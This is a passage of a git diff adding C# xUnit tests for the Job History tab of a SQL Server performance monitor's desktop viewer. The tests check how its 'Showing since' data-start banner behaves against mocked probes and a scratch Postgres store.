+        Assert.DoesNotContain("_io_hourly", StripComments(body), StringComparison.Ordinal);
+    }
+
+    private static string StripComments(string text) =>
+        System.Text.RegularExpressions.Regex.Replace(text, @"/\*.*?\*/|//[^\n]*", "", System.Text.RegularExpressions.RegexOptions.Singleline);
+
+    private static string FindViewerSource(string file)
+    {
+        var dir = new DirectoryInfo(AppContext.BaseDirectory);
+        while (dir is not null)
+        {
+            var candidate = Path.Combine(dir.FullName, "PerformanceMonitor.Darling.Viewer", file);
+            if (File.Exists(candidate))
+            {
+                return candidate;
+            }
+
+            dir = dir.Parent;
+        }
+
+        throw new FileNotFoundException("Could not locate " + file + " above " + AppContext.BaseDirectory);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerJobHistoryDataStartLiveTests.cs b/Darling/Darling.Tests/ViewerJobHistoryDataStartLiveTests.cs
new file mode 100644
index 0000000000..dc8c344047
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerJobHistoryDataStartLiveTests.cs
@@ -0,0 +1,287 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Job History tab's "Showing since" note against a real store (#4966). Every test reads the grid through the calls the tab
+/// makes (the read and the coverage probe, both from one start) and raises the note through the tab's own step
+/// (<c>JobHistoryTab.ShowJobHistoryDataStartAsync</c>), so a change to the rule fails here. The store holds the history a first
+/// collection copied (runs older than the collection that stored them), a quiet start, a full page of the newest 2,000 runs, and
+/// the tab's All Servers view.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it. The note's time text reads the
+   process-wide display mode, which the tests set (restored in Dispose); the shared collection serializes it with every
+   other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerJobHistoryDataStartLiveTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private const int ServerA = -499911;
+    private const int ServerB = -499912;
+    private const string Collector = "job_history";
+
+    private static string Since(DateTime utc) =>
+        "Showing since " + utc.ToString("yyyy-MM-dd HH:mm:ss", CultureInfo.InvariantCulture);
+
+    /* The server was added 2 days before the range's end; its first collection copied runs from 6 days back. The probe names the
+       first collection, but the grid's earliest run is older: the note names that run. */
+    [Fact]
+    public async Task ARunStampedBeforeTheFirstCollection_IsTheTimeNamed_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        await store.AddServerAsync(ServerA, store.End.AddDays(-2), ct);
+        await store.LogRunsAsync(ServerA, store.End.AddDays(-2), store.End, ct);
+        await store.InsertRunsAsync(ServerA, store.Start.AddDays(1), store.End, TimeSpan.FromHours(6), collectedAtUtc: store.End.AddDays(-2), ct);
+
+        Assert.Equal(store.End.AddDays(-2), await store.Viewer.GetJobHistoryDataStartAsync(ServerA, store.Start, store.End, ct));
+        Assert.Equal(Since(store.Start.AddDays(1)), await store.NoteAsync(ServerA, ct));
+    }
+
+    /* The first collection came 2 days before the range's end and stored runs from the last 2 days only: the note names the first
+       collection (the later of it and the retention edge), a time before the earliest run. */
+    [Fact]
+    public async Task ARangePastTheCoverage_NamesTheCoverageStart_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        await store.AddServerAsync(ServerA, store.End.AddDays(-2), ct);
+        await store.LogRunsAsync(ServerA, store.End.AddDays(-2), store.End, ct);
+        await store.InsertRunsAsync(ServerA, store.End.AddDays(-2).AddHours(3), store.End, TimeSpan.FromHours(6), collectedAtUtc: store.End.AddDays(-2), ct);
+
+        Assert.Equal(Since(store.End.AddDays(-2)), await store.NoteAsync(ServerA, ct));
+    }
+
+    /* Collected for 40 days, the whole range; the first run came 5 hours into it. A quiet start, not a cut: no note. */
+    [Fact]
+    public async Task AQuietStart_ShowsNoNote_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        await store.AddServerAsync(ServerA, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(ServerA, store.End.AddDays(-40), store.End, ct);
+        await store.InsertRunsAsync(ServerA, store.Start.AddHours(5), store.End, TimeSpan.FromHours(6), collectedAtUtc: null, ct);
+
+        Assert.Null(await store.NoteAsync(ServerA, ct));
+    }
+
+    /* A full page of the newest 2,000 runs names its oldest run though the store covers the range (collected for 40 days); a page
+       one run short is the whole range and shows none. Runs a minute apart, the newest a minute before the range's end. */
+    [Fact]
+    public async Task AFullPage_NamesItsOldestRun_AndAPageOneRunShortDoesNot_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(ct);
+
+        foreach (var (serverId, runs) in new[] { (ServerA, JobHistoryTab.RowCap), (ServerB, JobHistoryTab.RowCap - 1) })
+        {
+            await store.AddServerAsync(serverId, store.End.AddDays(-40), ct);
+            await store.LogRunsAsync(serverId, store.End.AddDays(-40), store.End, ct);
+            await store.InsertRunsAsync(
+                serverId, store.End.AddMinutes(-runs), store.End.AddMinutes(-1), TimeSpan.FromMinutes(1), collectedAtUtc: null, ct);
+        }
+
+        Assert.Equal(Since(store.End.AddMinutes(-JobHistoryTab.RowCap)), await store.NoteAsync(ServerA, ct));
+        Assert.Null(await store.NoteAsync(ServerB, ct));
+    }
+
+    /* The All Servers view: coverage is the earliest among the servers that count. One server collected for 40 days and one added
+       2 days ago, both with runs in the range: the first covers the range, so there is no note; the second's own view names its first
+       collection. With only the newer server in the store, the All Servers view names that first collection. */
+    [Fact]
+    public async Task TheAllServersView_TakesTheEarliestCoverageAmongTheServersThatCount_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using (var both = await Store.CreateAsync(ct))
+        {
+            await both.AddServerAsync(ServerA, both.End.AddDays(-40), ct);
+            await both.LogRunsAsync(ServerA, both.End.AddDays(-40), both.End, ct);
+            await both.InsertRunsAsync(ServerA, both.Start.AddHours(5), both.End, TimeSpan.FromHours(6), collectedAtUtc: null, ct);
+            await both.AddServerAsync(ServerB, both.End.AddDays(-2), ct);
+            await both.LogRunsAsync(ServerB, both.End.AddDays(-2), both.End, ct);
+            await both.InsertRunsAsync(ServerB, both.End.AddDays(-2).AddHours(3), both.End, TimeSpan.FromHours(6), collectedAtUtc: both.End.AddDays(-2), ct);
+
+            var fleet = await both.Viewer.GetJobHistoryDataStartAsync(null, both.Start, both.End, ct);
+            Assert.NotNull(fleet);
+            Assert.True(fleet <= both.Start, $"the fleet answer {fleet:o} should reach the range's start, the older server's coverage");
+            Assert.Null(await both.NoteAsync(null, ct));
+            Assert.Equal(Since(both.End.AddDays(-2)), await both.NoteAsync(ServerB, ct));
+        }
+
+        await using var newer = await Store.CreateAsync(ct);
+        await newer.AddServerAsync(ServerB, newer.End.AddDays(-2), ct);
+        await newer.LogRunsAsync(ServerB, newer.End.AddDays(-2), newer.End, ct);
+        await newer.InsertRunsAsync(ServerB, newer.End.AddDays(-2).AddHours(3), newer.End, TimeSpan.FromHours(6), collectedAtUtc: newer.End.AddDays(-2), ct);
+
+        Assert.Equal(newer.End.AddDays(-2), await newer.Viewer.GetJobHistoryDataStartAsync(null, newer.Start, newer.End, ct));
+        Assert.Equal(Since(newer.End.AddDays(-2)), await newer.NoteAsync(null, ct));
+    }
+
+    private sealed class Store : IAsyncDisposable
+    {
+        private readonly ScratchPostgres _scratch;
+
+        private Store(ScratchPostgres scratch, ViewerDataService viewer, DateTime end)
+        {
+            _scratch = scratch;
+            Viewer = viewer;
+            End = end;
+        }
+
+        public ViewerDataService Viewer { get; }
+
+        /// <summary>The end of the 7-day range every test reads, to the minute.</summary>
+        public DateTime End { get; }
+
+        public DateTime Start => End.AddDays(-7);
+
+        public static async Task<Store> CreateAsync(CancellationToken ct)
+        {
+            var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+            Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+                "Set DARLING_TEST_PG to a Postgres connection string to run the live Job History data-start tests.");
+
+            var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            try
+            {
+                await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+                {
+                    await connection.OpenAsync(ct);
+                    await PgMigrations.MigrateAsync(connection, ct);
+                }
+
+                var now = DateTime.UtcNow;
+                var end = new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+                return new Store(scratch, new ViewerDataService(scratch.ConnectionString), end);
+            }
+            catch
+            {
+                await scratch.DisposeAsync();
+                throw;
+            }
+        }
+
+        /// <summary>
+        /// The note the tab raises over the range: the probe and the read it starts from one start, handed to the tab's own step.
+        /// Null when it is hidden.
+        /// </summary>
+        public async Task<string?> NoteAsync(int? serverId, CancellationToken ct)
+        {
+            var probe = Viewer.GetJobHistoryDataStartAsync(serverId, Start, End, ct);
+            var read = await Viewer.GetJobHistoryAsync(Start, serverId, JobHistoryTab.RowCap, cancellationToken: ct);
+            await probe.WaitAsync(ct);
+
+            string? text = null;
+            StaTestThread.Run(() =>
+            {
+                ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+                /* Seeded visible, so a no-op cannot pass as a hidden note. */
+                var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+
+                JobHistoryTab.ShowJobHistoryDataStartAsync(banner, probe, Start, read).GetAwaiter().GetResult();
+
+                text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+            });
+            return text;
+        }
+
+        /* The registry row (created_date: the server's first successful connect). */
+        public async Task AddServerAsync(int serverId, DateTime addedUtc, CancellationToken ct)
+        {
+            await using var connection = await OpenAsync(ct);
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, ServerName(serverId), ct);
+
+            await using var update = new NpgsqlCommand("UPDATE collect.servers SET created_date = $2 WHERE server_id = $1", connection);
+            update.Parameters.AddWithValue(serverId);
+            update.Parameters.AddWithValue(Naive(addedUtc));
+            await update.ExecuteNonQueryAsync(ct);
+        }
+
+        /* The collector's runs from fromUtc to toUtc, every 30 minutes, whether or not a job ran. */
+        public async Task LogRunsAsync(int serverId, DateTime fromUtc, DateTime toUtc, CancellationToken ct)
+        {
+            await using var connection = await OpenAsync(ct);
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.collection_log
+    (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT row_number() OVER () + $6, $1, $2, $5, t, 12, 'SUCCESS', 0
+FROM generate_series($3::timestamp, $4::timestamp, interval '30 minutes') AS t", connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(ServerName(serverId));
+            insert.Parameters.AddWithValue(Naive(fromUtc));
+            insert.Parameters.AddWithValue(Naive(toUtc));
+            insert.Parameters.AddWithValue(Collector);
+            insert.Parameters.AddWithValue(-(long)serverId * 1000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        /* One job-outcome row at each step from firstUtc to lastUtc. All are stored at collectedAtUtc (a first collection copying
+           history), or, with none, each at its own run time (a collector keeping up with the server). The server has no clock row,
+           so its stored run time reads as UTC. */
+        public async Task InsertRunsAsync(int serverId, DateTime firstUtc, DateTime lastUtc, TimeSpan step, DateTime? collectedAtUtc, CancellationToken ct)
+        {
+            await using var connection = await OpenAsync(ct);
+            await using var insert = new NpgsqlCommand(@"
+INSERT INTO collect.job_history
+    (job_history_id, collection_time, server_id, server_name, instance_id, job_id, job_name, job_enabled, step_id, step_name,
+     run_status, run_status_desc, run_datetime, run_duration_seconds, retries_attempted, message)
+SELECT row_number() OVER (ORDER BY t) + $7, COALESCE($6, t), $1, $2, row_number() OVER (ORDER BY t), 'job-1', 'Nightly', true, 0, '(Job outcome)',
+       1, 'The job succeeded.', t, 5, 0, NULL
+FROM generate_series($3::timestamp, $4::timestamp, $5::interval) AS t", connection);
+            insert.Parameters.AddWithValue(serverId);
+            insert.Parameters.AddWithValue(ServerName(serverId));
+            insert.Parameters.AddWithValue(Naive(firstUtc));
+            insert.Parameters.AddWithValue(Naive(lastUtc));
+            insert.Parameters.AddWithValue(step);
+            insert.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = collectedAtUtc is DateTime c ? Naive(c) : DBNull.Value });
+            insert.Parameters.AddWithValue(-(long)serverId * 1000L);
+            await insert.ExecuteNonQueryAsync(ct);
+        }
+
+        private async Task<NpgsqlConnection> OpenAsync(CancellationToken ct)
+        {
+            var connection = new NpgsqlConnection(_scratch.ConnectionString);
+            await connection.OpenAsync(ct);
+            return connection;
+        }
+
+        private static string ServerName(int serverId) => $"job-history-start-{-serverId}";
+
+        /* SpecifyKind(Unspecified), not the bare value: Npgsql infers timestamptz from Kind=Utc and PostgreSQL then zone-shifts the bounds against the store's NAIVE timestamp columns. */
+        private static DateTime Naive(DateTime utc) => DateTime.SpecifyKind(utc, DateTimeKind.Unspecified);
+
+        public async ValueTask DisposeAsync()
+        {
+            await Viewer.DisposeAsync();
+            await _scratch.DisposeAsync();
+        }
+    }
+
+    /* WPF objects require STA; same shape as ViewerJobHistoryDataStartTests. */
+}
diff --git a/Darling/Darling.Tests/ViewerJobHistoryDataStartTests.cs b/Darling/Darling.Tests/ViewerJobHistoryDataStartTests.cs
new file mode 100644
index 0000000000..e04346950c
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerJobHistoryDataStartTests.cs
@@ -0,0 +1,285 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's Job History tab says where its data starts (#4966). Job history is an event surface: the read windows on the
+/// run's own time, and a server's first collection copies the history msdb already holds, so a run can sit long before the coverage
+/// the probe found. The note names the earlier of the coverage start and the earliest run shown. The read keeps the newest 2,000 runs,
+/// so a full page names its oldest run, whatever the store covers. These tests pin the tab's wiring and run its banner step on the
+/// real control; <c>ViewerJobHistoryDataStartLiveTests</c> runs the same step against a store.
+/// </summary>
+/* The banner's time text reads the process-wide display mode, which these tests set (restored in Dispose); one shared
+   collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerJobHistoryDataStartTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private static readonly DateTime RangeStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    /* A store nothing listens on: a probe that starts a query against it fails, one that does not returns at once. */
+    private const string UnreachableStore = "Host=127.0.0.1;Port=1;Username=nobody;Database=nothing;Timeout=3;Pooling=false";
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var match = Regex.Match(source, signaturePattern + @".*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(match.Success, $"{signaturePattern} was not found");
+        return match.Value;
+    }
+
+    private static DateTime? At(int days, int hours = 0) => RangeStart.AddDays(days).AddHours(hours);
+
+    // ── The cap and the probe ──
+
+    [Fact]
+    public void TheCap_IsThe2000TheReadTakes()
+    {
+        Assert.Equal(2000, JobHistoryTab.RowCap);
+
+        var read = MethodBody(ViewerFile("ViewerDataService.JobHistory.cs"), @"public async Task<List<ViewerJobHistoryRow>> GetJobHistoryAsync\(");
+        Assert.Contains("int limit = 2000", read, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheProbe_GoesThroughTheSharedFloor_OverTheJobHistoryCollectorTable_OnCollectionTime()
+    {
+        /* The probe asks about the collector's coverage, which the table's own time column (collection_time) carries; the run's own
+           time is the caller's to compare. If the catalog stops listing the table with that index, this fails here first. */
+        Assert.True(DataWindowFloor.Source.TryForCollectorTable("job_history", out var source));
+        Assert.Equal("collection_time", source.TimeColumn);
+
+        var probe = MethodBody(ViewerFile("ViewerDataService.JobHistory.cs"), @"public async Task<DateTime\?> GetJobHistoryDataStartAsync\(");
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"job_history\")", probe, StringComparison.Ordinal);
+        /* One server through the server form; every server through the fleet form (the earliest coverage among the servers that count). */
+        Assert.Equal(1, Matches(probe, @"DataWindowFloor\.GetForServerAsync\("));
+        Assert.Equal(1, Matches(probe, @"DataWindowFloor\.GetAsync\("));
+    }
+
+    // ── A window no longer than the slack starts no probe ──
+
+    /* The 90-minute slack belongs to the coverage probe alone: a window no longer than it can never get a coverage note. The server form
+       says so itself; the fleet form (the tab's All Servers view) has no such guard, so the tab's probe adds it. */
+    [Theory]
+    [InlineData(60, true)]
+    [InlineData(60, false)]
+    [InlineData(90, true)]
+    [InlineData(90, false)]
+    public async Task AWindowNoLongerThanTheSlack_StartsNoProbe_ForOneServerAndForAllServers_AgainstNoStore(int minutes, bool oneServer)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+
+        Assert.Null(await viewer.GetJobHistoryDataStartAsync(oneServer ? 1 : null, RangeStart, RangeStart.AddMinutes(minutes), ct));
+    }
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task AWindowOneMinuteOverTheSlack_StartsItsProbe_ForOneServerAndForAllServers_AgainstNoStore(bool oneServer)
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var viewer = new ViewerDataService(UnreachableStore);
+
+        await Assert.ThrowsAnyAsync<Exception>(() => viewer.GetJobHistoryDataStartAsync(oneServer ? 1 : null, RangeStart, RangeStart.AddMinutes(91), ct));
+    }
+
+    // ── The tab: one start for the read and the probe, the note after the rows ──
+
+    [Fact]
+    public void TheTab_WorksOutTheWindowsStartOnce_AndHandsItToTheReadAndTheProbe()
+    {
+        var load = MethodBody(ViewerFile("JobHistoryTab.xaml.cs"), @"private async Task LoadJobsAsync\(");
+
+        /* #5562: the window comes from the picker once; its start and end are the ones the read and the probe take. */
+        Assert.Equal(1, Matches(load, @"var nowUtc = windowEndUtc;"));
+        Assert.Equal(1, Matches(load, @"var sinceUtc = windowStartUtc;"));
+        Assert.Equal(1, Matches(load, @"ViewerTimeRangeWindow\.Window\("));
+        Assert.Equal(0, Matches(load, @"DateTime\.UtcNow\.AddHours"));
+        Assert.Equal(1, Matches(load, @"var dataStartTask = _dataService\.GetJobHistoryDataStartAsync\(serverId,\s*sinceUtc,\s*nowUtc\);"));
+        /* #5562 R6: a finished range hands its end to the read, so the end bound lands before the row cap. */
+        Assert.Equal(1, Matches(load, @"var readTask = _dataService\.GetJobHistoryAsync\(sinceUtc,\s*serverId,\s*RowCap,\s*untilUtc:\s*windowIsLive \? null : windowEndUtc\)"));
+        /* The probe starts beside the read, not after it. */
+        Assert.True(
+            load.IndexOf("GetJobHistoryDataStartAsync(", StringComparison.Ordinal) < load.IndexOf("var readTask = _dataService.GetJobHistoryAsync(", StringComparison.Ordinal),
+            "the probe starts after the read has been awaited");
+    }
+
+    [Fact]
+    public void TheRead_IsAwaitedThroughTheProbeWatchHelper()
+    {
+        var load = MethodBody(ViewerFile("JobHistoryTab.xaml.cs"), @"private async Task LoadJobsAsync\(");
+
+        Assert.Equal(1, Matches(load, @"ViewerServerTab\.AwaitReadWatchingProbeAsync\(readTask,\s*dataStartTask,\s*""Job History""\)"));
+        Assert.Equal(1, Matches(load, @"var all = await readTask;"));
+        Assert.Equal(0, Matches(load, @"await _dataService\.GetJobHistoryAsync\("));
+    }
+
+    [Fact]
+    public void TheNote_ComesAfterTheRowsAreBound_FromTheUnfilteredRead_AndAfterASupersedeCheck()
+    {
+        var load = MethodBody(ViewerFile("JobHistoryTab.xaml.cs"), @"private async Task LoadJobsAsync\(");
+
+        var bind = load.IndexOf("_filterManager.UpdateData(filtered)", StringComparison.Ordinal);
+        var settle = load.IndexOf("await ((Task)dataStartTask).ConfigureAwait(ConfigureAwaitOptions.SuppressThrowing | ConfigureAwaitOptions.ContinueOnCapturedContext);", StringComparison.Ordinal);
+        Assert.DoesNotContain("Task.WhenAny", load, StringComparison.Ordinal);
+        var loadingDown = load.LastIndexOf("LoadingMessage.Visibility = Visibility.Collapsed;", settle, StringComparison.Ordinal);
+        var note = load.IndexOf("await ShowJobHistoryDataStartAsync(", StringComparison.Ordinal);
+        Assert.True(bind >= 0 && loadingDown > bind && settle > loadingDown && note > settle, "the note must come after the rows, the loading note and the settled probe");
+
+        /* The newest load is the only one allowed to write the note: a check, with no await between it and the step. */
+        var between = load[settle..note];
+        Assert.Matches(@"if \(_loads\.Superseded\(nameof\(LoadJobsAsync\), gen\)\) return;", between);
+
+        /* The unfiltered read, the one the cap label counts: the Status and Category filters narrow the grid on the client and say
+           nothing about where the data starts. */
+        Assert.Equal(1, Matches(load, @"await ShowJobHistoryDataStartAsync\(JobHistoryTruncationBanner,\s*dataStartTask,\s*sinceUtc,\s*all\);"));
+        /* #4966: the cap label is built by JobHistoryCap.CountText from the last read's row count, which the load takes from the unfiltered
+           read (all), so the Status and Category filters cannot take the label away; the column-filter handler builds the same text from
+           the same field (JobHistoryCountTextTests). */
+        Assert.Equal(1, Matches(load, @"_lastReadRowCount\s*=\s*all\.Count;"));
+        Assert.Equal(1, Matches(load, @"JobHistoryCap\.CountText\(displayCount,\s*_lastReadRowCount,\s*RowCap\)"));
+        Assert.DoesNotContain("ShowJobHistoryDataStartAsync(JobHistoryTruncationBanner, dataStartTask, sinceUtc, filtered)", load, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheNoteStep_GoesThroughTheSharedEventStep_WithTheRunTimeAndTheCap()
+    {
+        var step = MethodBody(ViewerFile("JobHistoryTab.xaml.cs"), @"internal static Task ShowJobHistoryDataStartAsync\(");
+
+        Assert.Matches(
+            @"ViewerServerTab\.ShowEventDataStartAsync\(banner,\s*probe,\s*""Job History"",\s*startUtc,\s*read\.Select\(r => r\.RunDateTimeUtc\),\s*RowCap\)", step);
+    }
+
+    [Fact]
+    public void TheBanner_SitsAboveTheGrid_InTheExistingStyle()
+    {
+        var xaml = ViewerFile("JobHistoryTab.xaml");
+
+        var banner = Regex.Match(xaml, @"<TextBlock Grid\.Row=""1"" x:Name=""JobHistoryTruncationBanner""[^>]*/>", RegexOptions.Singleline);
+        Assert.True(banner.Success, "JobHistoryTruncationBanner is not declared in JobHistoryTab.xaml, in the row above the grid");
+        Assert.Contains("Visibility=\"Collapsed\"", banner.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", banner.Value, StringComparison.Ordinal);
+        Assert.Contains("FontWeight=\"Bold\"", banner.Value, StringComparison.Ordinal);
+        Assert.Equal(3, Matches(xaml, @"<RowDefinition Height="));
+        Assert.Matches(@"<Grid Grid\.Row=""2"" Margin=""10,0,10,10"">\s*<DataGrid x:Name=""JobHistoryDataGrid""", xaml);
+    }
+
+    // ── What the note says ──
+
+    /* The note raised for the probe's answer and the runs the read returned (their times), read off the control; null when it is
+       hidden. Seeded visible, so a no-op cannot pass as a hidden banner. */
+    private static string? BannerFor(Task<DateTime?> probe, IEnumerable<DateTime?> runTimes, DateTime? startUtc = null)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+            var read = runTimes.Select(t => new ViewerJobHistoryRow { RunDateTimeUtc = t }).ToList();
+
+            JobHistoryTab.ShowJobHistoryDataStartAsync(banner, probe, startUtc ?? RangeStart, read).GetAwaiter().GetResult();
+
+            text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+        });
+        return text;
+    }
+
+    private static string? BannerFor(DateTime? coverageStartUtc, IEnumerable<DateTime?> runTimes, DateTime? startUtc = null) =>
+        BannerFor(Task.FromResult(coverageStartUtc), runTimes, startUtc);
+
+    /* A page of `count` runs a minute apart from `oldest`. */
+    private static IEnumerable<DateTime?> Page(DateTime oldest, int count) => Enumerable.Range(0, count).Select(i => (DateTime?)oldest.AddMinutes(i));
+
+    /* The range reaches before the coverage: the collector was added 3 days into it and the first run came after. The note names the
+       coverage start. */
+    [Fact]
+    public void ARangePastTheCoverage_NamesTheCoverageStart()
+    {
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(At(3), [At(3, 6), At(5)]));
+    }
+
+    /* A quiet start: the store covered the whole range, and the first run came 5 hours in. No note. */
+    [Fact]
+    public void AQuietStart_ShowsNoNote()
+    {
+        Assert.Null(BannerFor(At(-20), [At(0, 5), At(2)]));
+    }
+
+    /* The first collection copied history from before itself: a run stamped a day before the coverage start is the time named. */
+    [Fact]
+    public void ARunStampedBeforeTheFirstCollection_IsTheTimeNamed()
+    {
+        Assert.Equal("Showing since 2026-09-02 00:00:00", BannerFor(At(3), [At(1), At(3, 6)]));
+    }
+
+    /* History that reaches the range's start gives no note, though the coverage starts days later. */
+    [Fact]
+    public void HistoryThatReachesTheRangeStart_ShowsNoNote()
+    {
+        Assert.Null(BannerFor(At(3), [At(0), At(3, 6)]));
+    }
+
+    /* A full page of the newest 2,000 runs whose oldest came 3 days into the range names that run, though the store covers the whole
+       range (coverage 20 days before it); a page one row short is the whole range and shows none. */
+    [Fact]
+    public void AFullPage_NamesItsOldestRun_AndAPageOneRowShortDoesNot()
+    {
+        var oldest = RangeStart.AddDays(3);
+
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(At(-20), Page(oldest, JobHistoryTab.RowCap)));
+        Assert.Null(BannerFor(At(-20), Page(oldest, JobHistoryTab.RowCap - 1)));
+        /* The note comes from the rows, so a probe with no answer does not hide it. */
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(coverageStartUtc: null, Page(oldest, JobHistoryTab.RowCap)));
+    }
+
+    /* A full page names its oldest run with no slack: on a range of an hour, a page whose oldest run came 20 minutes in shows the
+       note, and one whose oldest run is at the range's start shows none. The note names its time to the second. */
+    [Fact]
+    public void AFullPage_HasNoSlack_AndNamesItsTimeToTheSecond()
+    {
+        var rangeStart = new DateTime(2026, 9, 1, 10, 15, 0, DateTimeKind.Utc);
+
+        Assert.Equal("Showing since 2026-09-01 10:35:42", BannerFor(coverageStartUtc: null, Page(rangeStart.AddMinutes(20).AddSeconds(42), JobHistoryTab.RowCap), rangeStart));
+        Assert.Null(BannerFor(coverageStartUtc: null, Page(rangeStart, JobHistoryTab.RowCap), rangeStart));
+    }
+
+    /* A probe that throws shows no note, and the step does not throw: the tab binds its rows before it awaits the probe, so the
+       grid keeps them. A run with no time cannot name a start. */
+    [Fact]
+    public void AProbeThatThrows_ShowsNoNote_AndTheStepDoesNotThrow()
+    {
+        var failed = Task.FromException<DateTime?>(new InvalidOperationException("the store is down"));
+
+        Assert.Null(BannerFor(failed, [At(3, 6), At(5)]));
+        Assert.Null(BannerFor(failed, [null, At(5)]));
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(At(3), [null, At(4)]));
+    }
+
+}
diff --git a/Darling/Darling.Tests/ViewerLatchSpinlockTests.cs b/Darling/Darling.Tests/ViewerLatchSpinlockTests.cs
index 16c04b20c3..6a869c4981 100644
--- a/Darling/Darling.Tests/ViewerLatchSpinlockTests.cs
+++ b/Darling/Darling.Tests/ViewerLatchSpinlockTests.cs
@@ -101,21 +101,21 @@ public void SnapshotSql_CarriesTheStoredInterval_SelectsDeltasAsStored(string wh
     public void SnapshotRows_NullTheDeltasOnTheMarker_AndSpellTheInterval()
     {
         var marker = new LatchStatsSnapshotRow("BUFFER", 0, 0, 0,
-            DeltaSeriesShaping.ReadableDelta(0, 0), DeltaSeriesShaping.ReadableDelta(0, 0), 0);
+            DeltaSeriesShaping.ReadableDelta(0, 0), DeltaSeriesShaping.ReadableDelta(0, 0), 0, DateTime.UnixEpoch);
         Assert.True(marker.IsUnknowable);
         Assert.Null(marker.DeltaWaitTimeMs);
         Assert.Null(marker.DeltaWaitingRequestsCount);
         Assert.Equal("restart / first sample", marker.IntervalDisplay);
 
         var measured = new SpinlockStatsSnapshotRow("LOCK_HASH", 900, 0, 0, 0, 0,
-            DeltaSeriesShaping.ReadableDelta(400, 120), DeltaSeriesShaping.ReadableDelta(0, 120), 120);
+            DeltaSeriesShaping.ReadableDelta(400, 120), DeltaSeriesShaping.ReadableDelta(0, 120), 120, DateTime.UnixEpoch);
         Assert.False(measured.IsUnknowable);
         Assert.Equal(400L, measured.DeltaCollisions);
